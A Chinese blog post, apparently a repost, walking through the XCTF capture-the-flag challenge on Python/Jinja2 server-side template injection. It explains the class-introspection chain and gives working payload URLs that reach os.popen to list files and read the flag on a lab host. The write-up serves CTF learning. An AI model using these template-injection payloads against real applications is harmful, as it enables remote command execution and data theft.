首页 > 编程语言 > 详细

XCTF Web_python_template_injection

时间:2020-04-03 15:38:19      阅读:116      评论:0      收藏:0      [点我收藏+]

一.进入实验发现是python的模板注入

  技术分享图片

 

  1.我们先来了解一下:

  instance.__class__ 可以获取当前实例的类对象

  class.__mro__ 获取当前类对象的所有继承类

  每一个新式类都保留了它所有的子类的引用,__subclasses__()这个方法返回了类的所有存活的子类的引用(注意是类对象引用,不是实例)

  在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式。

  这里就不一一说明了,我也不是很懂这个漏洞,想更详细地了解就看看这个 https://www.freebuf.com/column/187845.html

 

  

  2.实验步骤:

  判断是否存在漏洞  :  发现1+1被执行了,也就可以利用这漏洞了

 

 

  技术分享图片

 

  通过  http://111.198.29.45:55462/%7B%7B‘‘.__class__.__mro__[2].__subclasses__()%7D%7D ,查看所有模块

  技术分享图片

 

 

 

  由于我们想要读取到flag文件里的信息,所以选用 os.popen

  首先我们要找到os模块的位置,他是位于<class ‘site._Printer‘>里面 ,结果查找在71

  通过`__subclasses__()[71].__init__.__globals__[os].popen().read()`

 

  我们构造   http://111.198.29.45:55462/%7B%7B‘‘.__class__.__mro__[2].__subclasses__()[71]

  .__init__.__globals__[os].popen(ls).read()%7D%7D

  技术分享图片

 

 

 

 

  根据返回的结果可以知道我们要找的flag在fl4g里面,现在查看这个文件即可得到flag。

  http://111.198.29.45:55462/%7B%7B‘‘.__class__.__mro__[2].__subclasses__()[71]

  .__init__.__globals__[os].popen(cat fl4g).read()%7D%7D

  技术分享图片

 

 

 

 

 

 

 

  • 添加到短语集
     
    • 没有此单词集:英语 -> 中文(简体)...
       
    • 创建新的单词集...
  • 拷贝

XCTF Web_python_template_injection

原文:https://www.cnblogs.com/darklee/p/12625742.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!